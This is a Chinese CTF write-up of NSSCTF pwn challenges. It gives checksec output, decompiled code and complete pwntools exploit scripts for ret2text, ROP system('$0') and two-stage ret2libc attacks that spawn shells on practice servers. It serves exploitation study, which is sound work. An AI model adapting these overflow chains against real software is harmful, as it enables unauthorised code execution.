前言
本文章用于记录自己在 NSS Pwn 方向刷的百题题解,从最简单的 ret2text 题到困难的 kernel pwn 题皆有,可作为本地知识库使用
Pwn 环境搭建(pwndocker)
pwndocker 是一个为了 CTF 中的 Pwn 方向而搭建的 docker 镜像,使用该镜像可以很方便地构建一个用于打 Pwn 的环境。我在pwndocker的基础上进行了一些修改,包括如下内容:
- 升级镜像至
Ubuntu22.04
- 使用
pwntools
版本4.14.1
- 部分软件包升级
- 默认使用
zsh
- 默认工作目录执行权限
利用 docker 拉取镜像(或者自行 build),在 VSCode 中搜索 Docker 插件并安装,在左侧栏选中 container 并附加 VSCode,即可进入环境(首次启动可能需要在镜像内下载 VSCode Server,下载完即可正常使用)
正文
64 位,无保护,ida 打开看到 gift 在 0X4005B6,buf 大小为 16,故填充 16+8(对齐)位后接 gift
1 2 3 4 5 6
| from pwn import * p = remote('node1.anna.nssctf.cn',28025) gift = 0X4005B6 payload = b'a'*(16+8)+p64(gift) p.sendline(payload) p.interactive()
|
ls 并 cat flag
checksec 发现有 NX 和 PIE 保护,32 位
1 2 3 4 5
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
IDA 打开
1 2 3 4 5 6 7 8 9 10
| int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; }
|
可以看到他打印了 main 函数地址
vuln()
开了 0x40 的 buf,但读了 0x50,存在栈溢出。且存在后门函数shell()
。也就是说我我们只需要算出来 shell 到 main 的偏移即可
在 IDA 的 Exports 中找到shell 0000080F
、main 00000770
,编写 exp
1 2 3 4 5 6 7 8 9
| from pwn import *
p = remote("node7.anna.nssctf.cn",20840)
main_addr = int(p.recvuntil('70')[-10:],16) offset = 0x0000080F - 0x00000770 payload = b'a'*(40+4)+p32(main_addr+offset) p.sendlineafter("Input:", payload) p.interactive()
|
checksec 仅 NX 保护
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
IDA 分析一下 backdoor 在0x4006e6
,发他一个整数,然后填充 buf 并带上后门地址,exp
1 2 3 4 5 6 7
| from pwn import *
p = remote("node4.anna.nssctf.cn", 28760) p.sendlineafter('name:', '114514') payload = b'a'*(0x10+8) + p64(0x4006e6) p.sendline(payload) p.interactive()
|
checksec 仅 NX 保护
1 2 3 4 5 6
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
read 栈溢出,读了 0x38。溢出到返回地址处为 0x10+8。随后找到system()
,但找不到/bin/sh
,查看tips()
1 2 3 4
| __int64 tips() { return MEMORY[0x403569](); }
|
查看机器码,有.text:0000000000400540 E8 24 30 00 00
,而24 30
正是$0
,等同于/bin/sh
,构造system("$0")
即可。注意 64 位程序传参要通过寄存器传递,而非栈传递。需要执行的汇编代码为
1 2
| mov rdi , 0x400541 call 0x400430
|
由于有 NX 保护,故需要使用 ROPgadget 寻找可使用的 gadget 进行利用
1 2
| ➜ work ROPgadget --binary shell | grep "pop rdi" 0x00000000004005e3 : pop rdi ; ret
|
同时 Ubuntu18 及以上版本的系统要求在调用 system 函数时栈必须 16 字节对齐,即 rip 末位为 0。我们需要再找一个 8 字节的 ret 指令对齐0x0000000000400416 : ret
。
exp 如下
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
p = remote("node4.anna.nssctf.cn", 28307)
system_addr = 0x0400430 sh_addr = 0x0400541 pop_rdi_ret_addr = 0x04005e3 ret_addr = 0x0400416 payload = b'a'*(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(sh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
|
checksec 为 64 位有 NX、SHSTK、IBT 保护
1 2 3 4 5 6 7 8
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
|
IDA 分析 main 函数和 vuln 函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { puts("Go Go Go!!!"); vuln(); return 0; }
ssize_t vuln() { char buf[64];
return read(0, buf, 0x70uLL); }
|
没有明显的后门函数和/bin/sh
字样,故我们需要调用 libc 中的system
首先利用LibcSearcher
结合第一次 ROP 泄露的puts
地址找到对应 libc 版本,再计算 libc 基址偏移、system
和/bin/sh
的偏移,随后第二次 ROP 完成攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from LibcSearcher import *
elf = ELF("./pwn")
pop_rdi_ret_addr = 0x40117E puts_plt_addr = 0x401060 main_addr = 0x4011A8 ret = 0x40101A
p = remote("node5.anna.nssctf.cn", 23002)
payload = b"a" * (0x40 + 8) payload += p64(pop_rdi_ret_addr) + p64(elf.got["puts"]) payload += p64(puts_plt_addr) payload += p64(main_addr)
p.sendlineafter("Go Go Go!!!\n", payload)
puts_real_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) libc = LibcSearcher("puts", puts_real_addr) libc_addr = puts_real_addr - libc.dump("puts") bin_sh_addr = libc_addr + libc.dump("str_bin_sh") system_real_addr = libc_addr + libc.dump("system")
payload2 = b"a" * (0x40 + 8) payload2 += p64(ret) payload2 += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) payload2 += p64(system_real_addr) payload2 += p64(main_addr)
p.sendlineafter("Go Go Go!!!\n", payload2) p.interactive()
|
checksec 有 canary 和 NX 保护
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
IDA 分析 main 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 sub_4006E2() { char buf[8]; FILE *v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); v2 = stdin; puts("Do you know how to do buffer overflow?"); read(0, buf, 0x100uLL); printf("%s. Try harder!", buf); read(0, buf, 0x100uLL); puts("I hope you win"); return __readfsqword(0x28u) ^ v3; }
|
两个 read 都有溢出,且 printf 输出了 buf,用于泄露 canary 地址。不难知道 v3 就是 canary 地址位置。分别跟进可知 buf 的地址在 0x50,而 v3 在 0x8,offset=0x50-0x8
。随后正常 libc 打法。